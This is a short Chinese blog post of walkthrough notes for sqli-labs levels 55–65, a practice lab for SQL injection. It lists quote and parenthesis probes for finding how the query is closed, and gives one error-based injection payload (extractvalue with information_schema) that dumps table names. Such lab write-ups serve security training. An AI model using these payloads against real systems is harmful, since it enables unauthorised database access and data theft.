zoukankan      html  css  js  c++  java
  • sqli-labs(十八)

    第五十五关:
    和上一关类似,只是拼凑的方法不一样,所以需要先判断后台是怎么拼凑的

    分别输入id=1'--+         id=1"--+             id=') --+          id=1")--+             id=1)--+

    发现只有id=1)--+可以正常显示,说明是数字型 用的括号闭合。

    后面的流程就一样了。

    第五十六关、五十七关也和之前的一样,只是sql闭合方式不一样

    第五十八关:

    也和上面类似,只是需要用报错注入

    输入?id=-1’union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

    第五十九关和六十关也是报错注入

    一个是数字型一个是双引号。

    第六十一关:

    报错注入 有两个括号

    第六十二、六十三、六十四、六十五都是盲注 也是拼接方式不一样。

  • 相关阅读:
    soj#547 bzoj5046 分糖果游戏
    soj#551 loj#2833 帐篷
    nb哒LCA
    soj#532 set p3175
    p4042 [AHOI2014/JSOI2014]骑士游戏
    p1501 [国家集训队]Tree II
    908G New Year and Original Order
    908D New Year and Arbitrary Arrangement
    EZOJ #258
    EZOJ #257
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9600851.html
Copyright © 2011-2022 走看看